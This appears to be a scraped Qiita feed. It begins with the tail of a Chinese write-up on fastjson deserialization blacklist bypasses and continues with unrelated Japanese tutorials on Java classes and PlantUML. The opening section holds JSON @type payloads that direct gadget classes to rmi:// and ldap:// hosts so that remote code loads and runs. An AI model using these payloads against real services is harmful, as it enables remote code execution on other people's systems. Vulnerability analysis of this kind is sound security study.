        String[] spring = awt;
        var3 = awt.length;

        int var11;
        for(var11 = 0; var11 < var3; ++var11) {
            String className = spring[var11];
            Class<?> clazz = loadClass(className);
            if (clazz == null) {
                break;
            }

            mappings.put(clazz.getName(), clazz);
        }

        spring = new String[]{"org.springframework.util.LinkedMultiValueMap", "org.springframework.util.LinkedCaseInsensitiveMap", "org.springframework.remoting.support.RemoteInvocation", "org.springframework.remoting.support.RemoteInvocationResult", "org.springframework.security.web.savedrequest.DefaultSavedRequest", "org.springframework.security.web.savedrequest.SavedCookie", "org.springframework.security.web.csrf.DefaultCsrfToken", "org.springframework.security.web.authentication.WebAuthenticationDetails", "org.springframework.security.core.context.SecurityContextImpl", "org.springframework.security.authentication.UsernamePasswordAuthenticationToken", "org.springframework.security.core.authority.SimpleGrantedAuthority", "org.springframework.security.core.userdetails.User"};
        String[] var10 = spring;
        var11 = spring.length;

        for(int var12 = 0; var12 < var11; ++var12) {
            String className = var10[var12];
            Class<?> clazz = loadClass(className);
            if (clazz == null) {
                break;
            }

            mappings.put(clazz.getName(), clazz);
        }

    }

然后开始解析json,当传入type时进入checkAutoType()检查类
image.png

在调用解析时我们没有传入预期的反序列化对象的对应类名时,会从mapping中或者deserializers.findClass()寻找
image.png
当找到类之后会直接return class,不会再进行autotype和黑名单校验,而在deserializers中有java.lang.Class
image.png

继续解析
image.png

获取到java.lang.class对应的反序列化处理类com.alibaba.fastjson.serializer.MiscCodec,然后开始deserializer.deserialze()反序列化
image.png
parser.parse()获取val的值
image.png
赋值给strVal,然后经过一系列判断之后
image.png
传入TypeUtils.loadClass()

在loadclass中将strVal加入到mapping中
image.png

此时mapping中有了jdbc的类名,而Mappings是ConcurrentMap类的,顾名思义就是在当前连接会话生效。所以我们需要在一次连接会话同时传入两个json键值对时,此次连接未断开时,继续解析第二个json键值对,然后和上文中提到的一样,在校验autotype和黑名单之前就已经return了clazz,变相绕过了黑名单,利用JNDI注入RCE。

1.2.48

黑名单多了两条,MiscCodec中将默认传入的cache变为false,checkAutoType()调整了逻辑

1.2.62

黑名单绕过
json
{"@type":"org.apache.xbean.propertyeditor.JndiConverter","AsText":"rmi://127.0.0.1:1099/exploit"}";

1.2.66

也是黑名单绕过

// 需要autotype true
{"@type":"org.apache.shiro.jndi.JndiObjectFactory","resourceName":"ldap://192.168.80.1:1389/Calc"}
{"@type":"br.com.anteros.dbcp.AnterosDBCPConfig","metricRegistry":"ldap://192.168.80.1:1389/Calc"}
{"@type":"org.apache.ignite.cache.jta.jndi.CacheJndiTmLookup","jndiNames":"ldap://192.168.80.1:1389/Calc"}
{"@type":"com.ibatis.sqlmap.engine.transaction.jta.JtaTransactionConfig","properties": {"@type":"java.util.Properties","UserTransaction":"ldap://192.168.80.1:1389/Calc"}}

总结

@type属性牵扯出来一系列的RCE,整个过程分析下来还是很有收获,不停的bypass才是反序列化的最大乐趣。

参考链接

  1. https://www.anquanke.com/post/id/181874
  2. https://xz.aliyun.com/t/7027
  3. Fastjson反序列化漏洞 1.2.24-1.2.48
  4. https://mp.weixin.qq.com/s/i7-g89BJHIYTwaJbLuGZcQ
  • このエントリーをはてなブックマークに追加
  • Qiitaで続きを読む

コンストラクタの勉強をした(java)

コンストラクタの勉強をしたかったので、ググって(ググる:"Google で検索する" の意。Google で無くとも使う)コードを引っ張ってきた。

ctest7.java
class ctest7{
  public static void main(String args[]){
    Television tv1 = new Television();

    tv1.dispChannel();
  }
}

class Television{
  private int channelNo;
  private String housouKyoku;

  public void setChannel(int newChannelNo){
    channelNo = newChannelNo;
    if (channelNo == 1){
      housouKyoku = "FujiTV";
    }else if (channelNo == 3){
      housouKyoku = "NHK";
    }
  }

  public void dispChannel(){
    System.out.println("現在のチャンネルは" + housouKyoku + "です");
  }
}

これをコンパイルして実行すると、
「現在のチャンネルはnullです」
と表示される。housouKyoku が格納されず、null になってしまっている。

これを修正すると以下のコードになるらしい。

java.ctest8.java
class ctest8{
  public static void main(String args[]){
    Television tv1 = new Television();

    tv1.dispChannel();
  }
}

class Television{
  private int channelNo;
  private String housouKyoku;

  Television(){
    channelNo = 1;
    housouKyoku = "FujiTV";
  }

  public void setChannel(int newChannelNo){
    channelNo = newChannelNo;
    if (channelNo == 1){
      housouKyoku = "FujiTV";
    }else if (channelNo == 3){
      housouKyoku = "NHK";
    }
  }

  public void dispChannel(){
    System.out.println("現在のチャンネルは" + housouKyoku + "です");
  }
}

もとのctest7.java のコードに

  Television(){
    channelNo = 1;
    housouKyoku = "FujiTV";
  }

を追加したものとなっている。

そうか、初期化ってそういうことか。
理屈はあってるけど初期値として中身がないと動作としてはうまく行かないんだ。
だから初期値を設定しておく必要があるんだ。
メソッドに直接記述して、呼び出すたびに上書きするってのもできるだろうけど、それじゃ大規模なコードを分担して作業するのには向いてないんだな。

ほー。

[参考]
「コンストラクタとは - コンストラクタ - Java入門 - Let'sプログラミング」
https://www.javadrive.jp/start/constructor/index1.html

  • このエントリーをはてなブックマークに追加
  • Qiitaで続きを読む

DNAの記号をランダムに表示

public class Main {
public static void main(String[] args) {
int [] seq = new int [10];
//配列をランダムに生成
for (int i = 0; i < seq.length; i++) {
seq[i] = new java.util.Random().nextInt(4);
}
//記号を表示
for (int i = 0; i < seq.length; i++) {
switch (seq[i]) {
case 0:
System.out.print("A");
break;
case 1:
System.out.print("T");
break;
case 2:
System.out.print("G");
break;
case 3:
System.out.print("C");
break;
}
}
}
}

  • このエントリーをはてなブックマークに追加
  • Qiitaで続きを読む

コンストラクタ(java) の使い方の勉強

コンストラクタの使い方がわからん。勉強だ。

[知ってること]
・名前はクラス名と同じ
・何かを初期化する役割(何をかはぼんやりとしかわかってない)
・super は親クラスのコンストラクタを呼び出す
・this は自身のクラスのコンストラクタを呼びだす
・引数と同じ名前の変数を使うときにthis.str = str (左のstr はいま定義したもの、右側のstr はメソッドの引数)

[わからないこと]
・コンストラクタの使いみち
・記述方法


[調べてわかったこと]
・コンストラクタは、クラスの
・戻り値は設定できない
・引数は設定できる
・メンバ変数(クラス内でメソッド外の変数のこと)の初期化をする

sample.java
public class sample{
    int num;        // ←これ
    String name;    // ←これも
    public sample_method(){
    ~~~~
    ~~~~
    }
}

こんな感じかなあ。次はコードを書いて、具体的に実装の流れを勉強してみようかな。

  • このエントリーをはてなブックマークに追加
  • Qiitaで続きを読む

インターフェイスの使用例

はじめに

抽象クラスの使用例のインターフェイス版です。
インターフェイスの意味・定義の仕方は知っているけど、どんなときに使うのか・どんな良いことがあるのか。
その例を紹介します。

いきなり結論。改造に強くなります。

抽象クラス・汎化・継承と同じで、改造に強くなります。
抽象クラスの使用例で紹介したプログラムにさらに改造要求が発生したことを例として紹介します。

改造対象のプログラム

まずは、抽象クラスの使用例で紹介したプログラムのおさらいです。

プリンターを管理するプログラムで、最初はインクジェットプリンターとレーザープリンターを管理してプリンター情報を一覧表示していました。
そこに、管理できるプリンターとしてドットインパクトプリンターを追加してくれという改造要件がきたので、抽象化(汎化・継承)で改造に強いプログラムを作りました。

クラス構成:
image.png

メンバ変数mModelName(モデル名)とmPaper(用紙残量)を汎化、プリンター情報を返すgetPrinterInfo()関数を抽象化しています。

新たな改造要件

今回はさらに「管理するプリンターの種類に3Dプリンターを追加してそのプリンター情報も表示して欲しい」という要件がきたとします。

ドットインパクトプリンターを追加したときのようにAbstractPrinterを継承して…としてもできないことはないですが、3Dプリンターは紙に印刷するわけではないので、mPaper(用紙残量)は不要です。
使わないメンバ変数はプログラムを保守する際に邪魔なのでない方が良いです。

じゃあ、独立した3Dプリンタークラスを作るか。
それだと、抽象クラスの使用例の抽象クラスを使わないプログラムのように冗長になるし…。

ではどうすれば良いか。
インターフェイスで解決してみましょう。

インターフェイスを利用して改造してみる

まず、インターフェイスを作ります。

//
// プリンターインターフェイス
//
interface IPrinter{

    // 一覧表示用プリンタ情報を返す
    String getPrinterInfo();
}

プリンターインターフェイスIPrinterを実装する形で3Dプリンタークラスを作成します。

//
// 3Dプリンター
//
class ThreeDPrinter implements IPrinter{

    // 材料容量
    private int mMaterial;

    // コンストラクタ
    public ThreeDPrinter(int material){
        mMaterial = material;
    }

    // 一覧表示用プリンタ情報を返すメソッド 
    public String getPrinterInfo(){

        return "[3D]開発中3Dプリンター" + " 印刷可能容量:" + mMaterial + "リットル";
    }
}

AbstractPrinterクラスにもプリンターインターフェイスIPrinterを実装します。

//
// プリンターの抽象クラス
//
abstract class AbstractPrinter implements IPrinter{
    // 略
}

管理するプリンターを格納する配列の型をAbstractPrinterからIPrinterに変更します。

    public static void main(String[] args) throws Exception {

        // 管理するプリンターを登録する。
        IPrinter[] printers = {
            new InkjetPrinter("Epson P1", 10),
            new InkjetPrinter("Canon C1", 20),
            new LaserPrinter("Xerox X1", 100),
            new LaserPrinter("Richo R1", 50),
            new LaserPrinter("Richo R2", 200),
            new DotimpactPrinter("NEC N1", 100),
            new DotimpactPrinter("Oki O1", 50),
            new ThreeDPrinter(5),
        };

        // 管理しているプリンターを一覧表示する。
        for(int i = 0; i < printers.length; i++ ){
            String printerInfo = printers[i].getPrinterInfo();
            System.out.println(printerInfo);
        }
    }

これだけ。
実行してみましょう。

実行結果
[インクジェット]Epson P1 印刷可能枚数:10
[インクジェット]Canon C1 印刷可能枚数:20
[レーザー]Xerox X1 印刷可能枚数:100
[レーザー]Richo R1 印刷可能枚数:50
[レーザー]Richo R2 印刷可能枚数:200
[ドットインパクト]NEC N1 印刷可能枚数:100
[ドットインパクト]Oki O1 印刷可能枚数:50
[3D]開発中3Dプリンター 印刷可能容量:5リットル

できましたー!
抽象クラスの使用例のときと同じように管理する変数も増えず、表示する処理も変更せずにできました。
https://paiza.io/projects/wSSYJVnwbZfsI0vXHrsGjg

クラス構成:
image.png

まとめ

インターフェイスも型なんですね。なので、変数の型として使えます。
インターフェイス型の変数には、そのインターフェイスを実装しているクラスのオブジェクトを格納できます。

// 管理するプリンターを登録する。
IPrinter[] printers = {
    new InkjetPrinter("Epson P1", 10),
    // 略
    new ThreeDPrinter(5),
};

ThreeDPrinterクラスもAbstractPrinterから派生した各クラスもIPrinterインターフェイスを実装しているので、IPrinter型の変数にそのオブジェクトを格納できます。
そしてgetPrinterInfo()関数を定義しているIPrinter型の変数は、その中に入っているオブジェクトの詳しいことは知らないけどgetPrinterInfo()関数を実装していることだけは確かなのでそれを呼び出すことができます。

// 管理しているプリンターを一覧表示する。
for(int i = 0; i < printers.length; i++ ){
    // printers[i]の中身は何かわからないけど、
    // printers[i]はIPrinter型なので  
    // getPrinterInfo()が実装されているのでそれを呼び出せる。
    String printerInfo = printers[i].getPrinterInfo();
    System.out.println(printerInfo);
}
  • このエントリーをはてなブックマークに追加
  • Qiitaで続きを読む

抽象クラスの使用例

はじめに

抽象クラスの意味・定義の仕方は知っているけど、どんなときに使うのか・どんな良いことがあるのか。
同じ要件を抽象クラスを使って実装したプログラムと使わずに実装したプログラムを比較して確認してみます。

JAVAプログラム

プリンターの種類としてはインクジェットとレーザーがあるとします。それらを複数管理し、管理しているプリンターの情報を一覧表示するプログラムを作ります。

抽象クラスを使わないプログラム

https://paiza.io/projects/Iwnh9NgDAaxPSZC36uZqsw

クラス構成:
image.png

InkjetPrinterクラスとLaserPrinterクラスがあるだけです。
それぞれモデル名(mModelName)と用紙残数(mPaper)をメンバ変数として持っています。また、プリンター情報を返してくれるgetPrinterInfo()関数を備えています。

違いは、InkjetPrinterはインク残量(mRemainingInk)を持っていて、LaserPrinterはトナー残量(mRemainingToner)を持っています。

抽象クラスを使ったプログラム

https://paiza.io/projects/Xs-iNK2-SYDnlYIp1oWF3w

クラス構成:
image.png

InkjetPrinterクラスとLaserPrinterクラスの共通部分(メンバ変数モデル名と用紙残量、プリンター情報を返してくれる関数)を汎化して抽象クラスAbstractPrinterを作りました。
InkjetPrinterクラスとLaserPrinterクラスは、AbstractPrinterを継承しています。

「抽象化」という観点で説明すると、InkjetPrinterクラスとLaserPrinterクラスをモデル名と用紙残量を持っていてプリンター情報を返すというプリンターとして抽象化した、となります。

実行結果

どちらも同じ結果が出力されます。

出力結果
[インクジェット]Epson P1 印刷可能枚数:10
[インクジェット]Canon C1 印刷可能枚数:20
[レーザー]Xerox X1 印刷可能枚数:100
[レーザー]Richo R1 印刷可能枚数:50
[レーザー]Richo R2 印刷可能枚数:200

何が違うのか

2点あげられます。

まずはクラス構成。独立したクラスと抽象化したクラスです。抽象クラスの概念はオブジェクト指向を解説した書籍やサイトで詳しく解説されているのでここでは省きます。

もう一点は、管理している側からの使い方です。こちらについて詳しく見ていきます。

抽象クラスを使わない場合

抽象クラスを使わない場合のmain()
    public static void main(String[] args) throws Exception {

        // 管理するインクジェットプリンターを登録する。
        InkjetPrinter[] inkjets = {
            new InkjetPrinter("Epson P1", 10),
            new InkjetPrinter("Canon C1", 20),
        };

        // 管理するレーザプリンターを登録する。
        LaserPrinter[] lasers = {
            new LaserPrinter("Xerox X1", 100),
            new LaserPrinter("Richo R1", 50),
            new LaserPrinter("Richo R2", 200),
        };

        // 管理しているプリンターを一覧表示する。
        // まずは、インクジェットプリンター。
        for(int i = 0; i < inkjets.length; i++ ){
            System.out.println(inkjets[i].getPrinterInfo());
        }

        // 次に、レーザープリンター。
        for(int i = 0; i < lasers.length; i++ ){
            System.out.println(lasers[i].getPrinterInfo());
        }
    }

InkjetPrinterクラスとLaserPrinterクラスとの間にはなんの関係性もないそれぞれ独立した「型」です。

InkjetPrinterクラスのオブジェクトはInkjetPrinter型の変数にしか格納できないし、LaserPrinterクラスのオブジェクトはLaserPrinter型の変数にしか格納できません。

よって、プリンターの種類ごとの型の変数(この場合は配列)を用意してプリンターオブジェクトを格納し、それぞれループさせてプリンター一覧を出力しています。

抽象クラスを使った場合

抽象クラスを使った場合のmain()
    public static void main(String[] args) throws Exception {

        // 管理するプリンターを登録する。
        AbstractPrinter[] printers = {
            new InkjetPrinter("Epson P1", 10),
            new InkjetPrinter("Canon C1", 20),
            new LaserPrinter("Xerox X1", 100),
            new LaserPrinter("Richo R1", 50),
            new LaserPrinter("Richo R2", 200),
        };

        // 管理しているプリンターを一覧表示する。
        for(int i = 0; i < printers.length; i++ ){
            System.out.println(printers[i].getPrinterInfo());
        }
    }

InkjetPrinterクラスとLaserPrinterクラスは「プリンター」を抽象化したクラス「AbstractPrinter」から派生しています。AbstractPrinterクラスが共通の親クラスとなっています。

変数はその型のオブジェクトとその型から派生したオブジェクトを格納することができます。

よって、AbstractPrinter型の変数には、InkjetPrinterクラスのオブジェクトとLaserPrinterクラスのオブジェクトを格納することができ、この変数に入っているオブジェクトをAbstractPrinterクラスとして扱うことができます。

これにより、プリンターを管理する変数がひとつになり、表示する処理もひとつになりました。

どんな良いことがあるのか

抽象クラスを導入することで管理する変数と表示処理がスマートになりました。
これだけでも良いことなのですが、機能拡張などの「変更に強くなる」というとても良いことがあります。

プリンターの種類にドットインパクトプリンターを追加して欲しいという改造要件が来たとしましょう。

抽象クラスを使わない場合は、以下のソースとなります。
「★追加★」とコメントした処理が追加した行です。

抽象クラスを使わない場合

クラス構成:
image.png

抽象クラスを使わない場合のmain()
    public static void main(String[] args) throws Exception {

        // 管理するインクジェットプリンターを登録する。
        InkjetPrinter[] inkjets = {
            new InkjetPrinter("Epson P1", 10),
            new InkjetPrinter("Canon C1", 20),
        };

        // 管理するレーザプリンターを登録する。
        LaserPrinter[] lasers = {
            new LaserPrinter("Xerox X1", 100),
            new LaserPrinter("Richo R1", 50),
            new LaserPrinter("Richo R2", 200),
        };

        // ★追加★
        // 管理するドットインパクトプリンターを登録する。
        DotimpactPrinter[] dotimpacts = {
            new DotimpactPrinter("NEC N1", 100),
            new DotimpactPrinter("Oki O1", 50),
        };

        // 管理しているプリンターを一覧表示する。
        // まずは、インクジェットプリンター。
        for(int i = 0; i < inkjets.length; i++ ){
            System.out.println(inkjets[i].getPrinterInfo());
        }

        // 次に、レーザープリンター。
        for(int i = 0; i < lasers.length; i++ ){
            System.out.println(lasers[i].getPrinterInfo());
        }

        // ★追加★
        // 次に、ドットインパクトプリンター。
        for(int i = 0; i < dotimpacts.length; i++ ){
            System.out.println(dotimpacts[i].getPrinterInfo());
        }
    }

全ソース:https://paiza.io/projects/VL2hoWh-eWKiHF0lha_rXg

抽象クラスを使った場合

クラス構成:
image.png

抽象クラスを使った場合のmain()
    public static void main(String[] args) throws Exception {

        // 管理するプリンターを登録する。
        AbstractPrinter[] printers = {
            new InkjetPrinter("Epson P1", 10),
            new InkjetPrinter("Canon C1", 20),
            new LaserPrinter("Xerox X1", 100),
            new LaserPrinter("Richo R1", 50),
            new LaserPrinter("Richo R2", 200),
            new DotimpactPrinter("NEC N1", 100), // ★追加★
            new DotimpactPrinter("Oki O1", 50),  // ★追加★
        };

        // 管理しているプリンターを一覧表示する。
        for(int i = 0; i < printers.length; i++ ){
            System.out.println(printers[i].getPrinterInfo());
        }
    }

全ソース:https://paiza.io/projects/UHysfz9Nx6LPENUOuTnY6w

抽象クラスを使わない方は、ドットインパクトプリンターを管理する変数とそれを表示するループ処理を追加しました。
似たような処理が増えましたね。冗長です。

一方、抽象クラスを使った方はプリンターを管理するprinters変数にドットインパクトプリンターのオブジェクトを追加するだけ済み、表示する処理に変更は入りませんでした。プログラムの改造量が少なくて済みますね。

まとめ

実はこの利点は抽象クラスの効果というよりも、クラスの汎化・継承による利点です。
抽象クラスをつかうということは、抽象化+汎化・継承するということなので、汎化・継承の恩恵を受けられるわけです。

  • このエントリーをはてなブックマークに追加
  • Qiitaで続きを読む

合計点、平均点の求め方

public class Main {
public static void main(String[] args) {
int [] scores = {20, 30, 40, 50, 80};
int sum = 0; //集計結果
for (int i = 0; i < scores.length; i++) {
sum += scores[i]; //変数sumに合算
}

    int avg = sum / scores.length;
    System.out.println("合計点:" + sum);
    System.out.println("平均点:" + avg);

}

}

  • このエントリーをはてなブックマークに追加
  • Qiitaで続きを読む

PlantUML使い方メモ

長くなるので、図の書き方はクラス図とシーケンス図だけで。

PlantUML とは

環境構築

OS は Windows10。

Java

> java --version
openjdk 11.0.6 2020-01-14
OpenJDK Runtime Environment AdoptOpenJDK (build 11.0.6+10)
OpenJDK 64-Bit Server VM AdoptOpenJDK (build 11.0.6+10, mixed mode)

インストール方法は割愛。

PlantUML 本体

https://plantuml.com/ja/download

ここから plantuml.jar を落としてくる。
確認時点では plantuml.1.2020.7.jar だった。

Graphviz

http://www.graphviz.org/download/

図の描画に使用しているソフトウェアっぽい。
Graphviz - Wikipedia

シーケンス図とアクティビティ図 以外 の図を生成したい場合は必要なので、事実上必須。

自分が落としたのは 2.38

dot.exe の場所を指定する

PlantUML を実行するときに、 Graphviz に含まれている dot.exe の場所を指定する必要がある。
指定方法は次のいずれか(採用される優先度が高いモノ順に並べている)。

  1. -graphvizdot オプションで指定する
  2. システムプロパティ GRAPHVIZ_DOT で指定する
  3. 環境変数 GRAPHVIZ_DOT に設定する

仮に、 Graphviz をインストールしたフォルダが C:\Graphviz だったとすると、次のような感じで指定する。

-graphvizdotオプションで指定した場合
> java -jar plantuml.jar -graphvizdot C:\Graphviz\bin\dot.exe ...
システムプロパティで指定した場合
> java -DGRAPHVIZ_DOT=C:\Graphviz\bin\dot.exe -jar plantuml.jar ...
環境変数で指定した場合
> set GRAPHVIZ_DOT
GRAPHVIZ_DOT=C:\Graphviz\bin\dot.exe

VSCode

以下のプラグインを使う場合は、 VSCode を実行する前に環境変数 GRAPHVIZ_DOT を設定しておく。

PlantUML

PlantUML - Visual Studio Marketplace

  • VSCode で PlantUML を書くためのプラグイン
  • Alt + d でプレビューが表示される
  • 複数の @startuml...@enduml がある場合は、現在カーソルが存在する場所の図がプレビューされる

plantuml.jpg

Markdown Preview Enhanced

Markdown Preview Enhanced - Visual Studio Marketplace

  • Markdown 中の PlantUML をプレビューできるようにするプラグイン
  • Ctrl + k, v でプレビューが表示される

plantuml.jpg

Hello World

hello.pu
@startuml
Hello <|-- World
@enduml
  • テキストファイルを作って、中身を↑のように記述する
  • ファイルの拡張子は pu が慣例?
実行
> java -jar plantuml.jar hello.pu
  • 引数に作成したテキストファイルを指定して実行する
  • すると、引数で指定したファイルと同じ場所に hello.png というファイルが出力される

hello.png

hello.png

コマンドラインからの実行方法

ファイル指定

> dir /b
fuga.pu
hoge.pu
piyo.pu

> java -jar plantuml.jar hoge.pu fuga.pu piyo.pu

> dir /b
fuga.png
fuga.pu
hoge.png
hoge.pu
piyo.png
piyo.pu
  • ファイルのパスを引数に指定して実行できる
  • ファイルは複数指定可能
  • ファイル名と同じ名前の png ファイルが、ファイルと同じ場所に生成される

ディレクトリ指定

フォルダ構成
`-hoge/
  |-plantuml.pu
  |-markdown.md
  |-JavaSource.java
  `-fuga/
    `-fuga.pu
  • hoge ディレクトリの直下に、3つのファイルを配置している
  • それぞれ、中身は次のようになっている

plantuml.pu

@startuml
class PlantUml
@enduml

markdown.md

```
@startuml
class Markdown
@enduml
```

JavaSource.java

/**
 * @startuml
 * class JavaSource {
 *   - String message
 * }
 * @enduml
 */
public class JavaSource {}
  • hoge フォルダの下には fuga ディレクトリがあり、その下には fuga.pu ファイルを配置している

fuga.pu

@startuml
class Fuga
@enduml

実行

> java -jar plantuml.jar hoge
実行後
`-hoge/
  |-plantuml.pu
  |-plantuml.png
  |-markdown.md
  |-JavaSource.java
  |-JavaSource.png
  `-fuga/
    `-fuga.pu
  • plantuml.pngJavaSource.png が生成されている

plantuml.png

plantuml.png

JavaSource.png

JavaSource.png

  • フォルダを指定して実行すると、そのフォルダ直下に存在するファイルが自動的に読み込まれる
  • 次の拡張子に該当するファイルが、読み込みの対象となっている
    • .c
    • .h
    • .cpp
    • .txt
    • .pu
    • .tex
    • .html
    • .htm
    • .java
  • これらのファイルの中に @startuml からはじまり @enduml で終わる部分を見つけると、その部分から画像を生成してくれる

ワイルドカードで指定する

  • ↑と同じ構成で、次は以下のようにコマンドを実行する
> java -jar plantuml.jar "hoge/**"
  • フォルダを指定した部分を、 "hoge/**" としている
実行結果
`-hoge/
  |-plantuml.pu
  |-plantuml.png
  |-markdown.md
  |-markdown.png
  |-JavaSource.java
  |-JavaSource.png
  `-fuga/
    |-fuga.pu
    `-fuga.png
  • markdown.pngfuga.png も生成されている

markdown.png

mardown.png

fuga.png

fuga.png

  • 対象の指定には、次のワイルドカードが使用できる
    • * 任意の文字列
    • ? 任意の1文字
    • ** 任意のサブディレクトリ

除外対象を指定する

> java -jar plantuml -x "**/*.pu" "hoge/**"
実行結果
`-hoge/
  |-plantuml.pu
  |-markdown.md
  |-markdown.png
  |-JavaSource.java
  |-JavaSource.png
  `-fuga/
    `-fuga.pu
  • 拡張子が pu のファイルだけ png ファイルが生成されていない
  • -x オプションで除外対象を指定できる

文字コードの指定

> java -jar plantuml.jar -charset UTF-8 hello.pu
  • 文字コードは -charset オプションで指定する

標準入力から読み込む

> type plantuml | java -jar plantuml.jar -pipe > result.png
  • -pipe オプションを指定すると標準入力から読み込むので、パイプが可能になる
  • 結果は標準出力に書き出されるので、適当なファイルにリダイレクトしてあげればいい

複数の図の記述が存在した場合

hoge.pu
@startuml
class Hoge
@enduml

@startuml
class Fuga
@enduml

@startuml
class Piyo
@enduml
  • 1つのファイル内に複数の @startuml...@enduml の記述が存在した場合
実行
> java -jar plantuml.jar hoge.pu
実行結果
> dir /b
hoge.png
hoge.pu
hoge_001.png
hoge_002.png

hoge.png

hoge.png

hoge_001.png

hoge_001.png

hoge_002.png

hoge_002.png

  • 最初の図が ファイル名.png で生成される
  • 残りの図は、 ファイル名_XXX.png の連番で生成される
    • 1000個以上あったらどうなるのかは試していない

図ごとにファイル名を指定する

hoge.pu
@startuml hoge
class Hoge
@enduml

@startuml fuga
class Fuga
@enduml

@startuml piyo
class Piyo
@enduml
  • @startuml の後ろに名前を記述している
実行
> java -jar plantuml.jar hoge.pu
実行結果
> dir /b
fuga.png
hoge.png
hoge.pu
piyo.png

hoge.png

hoge.png

fuga.png

fuga.png

pioy.png

piyo.png

  • @startuml 名前 とすることで、図ごとのファイル名を指定できる

ヘルプの表示

> java -jar plantuml.jar -h
  • ヘルプは、 -h または -help で表示できる

共通

コメント

@startuml no-scale
' これはコメント
Hello <|-- World
@enduml
  • シングルクォーテーション (') から後ろはコメント扱いになる

タイトル

@startuml
title Hello Title
Hello <|-- World
@enduml

hoge.png

  • title タイトル と記述することで、図のタイトルを設定できる

複数行のタイトル

@startuml
title
Hello
Title
end title
Hello <|-- World
@enduml

hoge.png

  • titleend title で囲うことで、複数行のタイトルが記述できる

マークアップ言語で書く

@startuml
title
* __Hello__
* **World**
end title
Hello <|-- World
@enduml

hoge.png

キャプション

@startuml
caption 図1
Hello <|-- World
@enduml

hoge.png

  • caption キャプション で、図のキャプションを設定できる

ヘッダー・フッター

@startuml
header Hello
Hello <|-- World
footer World
@enduml

hoge.png

  • header ヘッダーコメント, footer フッターコメント で、ヘッダーとフッターを指定できる
  • デフォルトだと、ヘッダーは右寄せ、フッターはセンタリングになる
  • Creole で記述できる

位置を指定する

@startuml
left header Hello
Hello <|-- World
right footer World
@enduml

hoge.png

  • left, center, rightheader, footer の前に記述することで、位置を調整できる

複数行で書く

@startuml
header
Hello
Header
end header

Hello <|-- World

footer
World
Footer
end footer
@enduml

hoge.png

  • header ... end header, footer ... end footer で囲むことで、複数行で記述できる

凡例

@startuml
legend
Hello World
end legend

Hello <|-- World
class FizzBuzz
@enduml

hoge.png

  • legend ... end legend で、凡例を挿入できる
  • デフォルトでは、中央下に配置される

位置を指定する

  • legend の後ろに上下の位置 (top, bottom) と左右の位置 (left, center, right) を指定できる
@startuml right
legend right
Right
end legend

Hello <|-- World
class FizzBuzz
@enduml

right.png

  • 左右の位置だけ指定した場合、上下の位置はデフォルトの bottom になる
@startuml top
legend top
Top
end legend

Hello <|-- World
class FizzBuzz
@enduml

top.png

  • 上下の位置だけ指定した場合、左右の位置はデフォルトの center になる
@startuml top-left
legend top left
Top Left
end legend

Hello <|-- World
class FizzBuzz
@enduml

top-left.png

  • 両方とも指定した場合は、指定された位置に表示される
  • このとき、 legend left top のように上下と左右の位置指定を逆にするとエラーになる
    • 必ず、上下の位置→左右の位置の順番で指定する必要がある

拡大率

@startuml no-scale
Hello <|-- World
@enduml

@startuml scale-1.5
scale 1.5
Hello <|-- World
@enduml

@startuml scale-0.5
scale 0.5
Hello <|-- World
@enduml

plantuml.jpg

  • scale 拡大率 と記述することで、その図の拡大率を指定できる

Creole

  • wiki 記述言語の1つ
  • タイトルやノートで、この記法が使用できる
@startuml
note left
  --見出し--
  = 見出し1
  == 見出し2
  === 見出し3

  --番号なしリスト--
  * リスト1
  * リスト2
  ** リスト2-1
  * リスト3

  --番号付き--
  # 番号付きリスト1
  # 番号付きリスト2
  ## 番号付きリスト2-1
  # 番号付きリスト3

  --装飾--
  * **太字**
  * //イタリック//
  * ""等幅フォント(monospace)""
  * --取り消し線--
  * __下線__

  --テーブル--
  |= |= Column1 |= Column2 |
  |1 |Value1-1  |Value1-2  |
  |2 |Value2-1  |Value2-2  |

  --HTML--
  * <color:red>色名指定</color>
  * <color:#00FF00>カラーコード指定</color>
  * <back:skyblue>背景色</back>
  * <size:18>フォントサイズ</size>
  * <b>太字</b>

  --木構造--
  |_build.gradle
  |_src
    |_main
      |_java
        |_**bold**
        |_--strike--
        |_//itaric//
        |___underline__
        |_""monospace""
    |_test

  --Unicode--
  * <U+20BB7>

  --Escape--
  * **これは太字になる**
  * ~**これは太字にならない**

  --水平線--
  --タイトルを挟める--
  ----
  ==タイトルを挟める==
  ====
  ..タイトルを挟める..
  ....
end note
@enduml

hoge.png

フォントを指定する

@startuml
skinparam DefaultFontName メイリオ
おはよう <|-- 世界
@enduml

hoge.png

  • skinparam DefaultFontName フォント名 と記述することで、デフォルトのフォントを指定できる
  • skinparam は、 skinparam <key> <value> という書式で様々なスキン設定を指定できる
  • DefaultFontName はデフォルトのフォントを指定するキー
  • CaptionFontNameClassFontName のように、特定の要素ごとにフォントを指定することも可能
  • <key> に指定できる値の一覧は、次のコマンドで確認できる
> java -jar plantuml.jar -language
...
;skinparameter
;536
ActivityBackgroundColor
ActivityBarColor
ActivityBorderColor
ActivityBorderThickness
ActivityDiamondBackgroundColor
ActivityDiamondBorderColor
ActivityDiamondFontColor
...

クラス図

クラスを宣言する

@startuml
class Hello
class World
@enduml

hoge.png

  • class <型名> と記述することで、クラスを宣言できる

インターフェースを宣言する

@startuml
interface Hello
interface World
@enduml

hoge.png

  • interface <型名> と記述することで、インターフェースを宣言できる

抽象クラスを宣言する

@startuml
abstract class Hello
@enduml

hoge.png

  • abstract class <型名> とすることで、抽象クラスを宣言できる

enum を宣言する

@startuml
enum HelloWorld {
    ONE
    TWO
    THREE
}
@enduml

hoge.png

  • enum <型名> で、 enum を宣言できる
  • 続けて波括弧 {...} を書き、そのなかで定数を宣言できる

型間の関連を記述する

関連(リンク)

@startuml
Hello -- World
@enduml

hoge.png

  • <型名> <関連を表す線> <型名> と記述することで、型間の関連を記述できる
  • -- は、単純な関連だけを記述できる
  • class <型名> で宣言していない型でも使用可能
    • 宣言と合わせて記述することも可能

誘導可能性の表現

@startuml
class One
One --> Two
Three <-- Four
Five <--> Six
Seven x-- Eight
Nine --x Ten
@enduml

hoge.png

  • <, >, x で、誘導可能性を表現できる

依存

@startuml
One ..> Two
Three <.. Four
@enduml

hoge.png

  • ..>, <.. で、依存を表現できる

汎化

@startuml
One --|> Two
Three <|-- Four
@enduml

hoge.png

  • <|--, --|> で、汎化を表現できる

実現

@startuml
One ..|> Two
Three <|.. Four
@enduml

hoge.png

  • ..|>, <|.. で、実現を表現できる

集約

@startuml
One --o Two
Three o-- Four
@enduml

hoge.png

  • --o, o-- で、集約を表現できる

コンポジション

@startuml
One --* Two
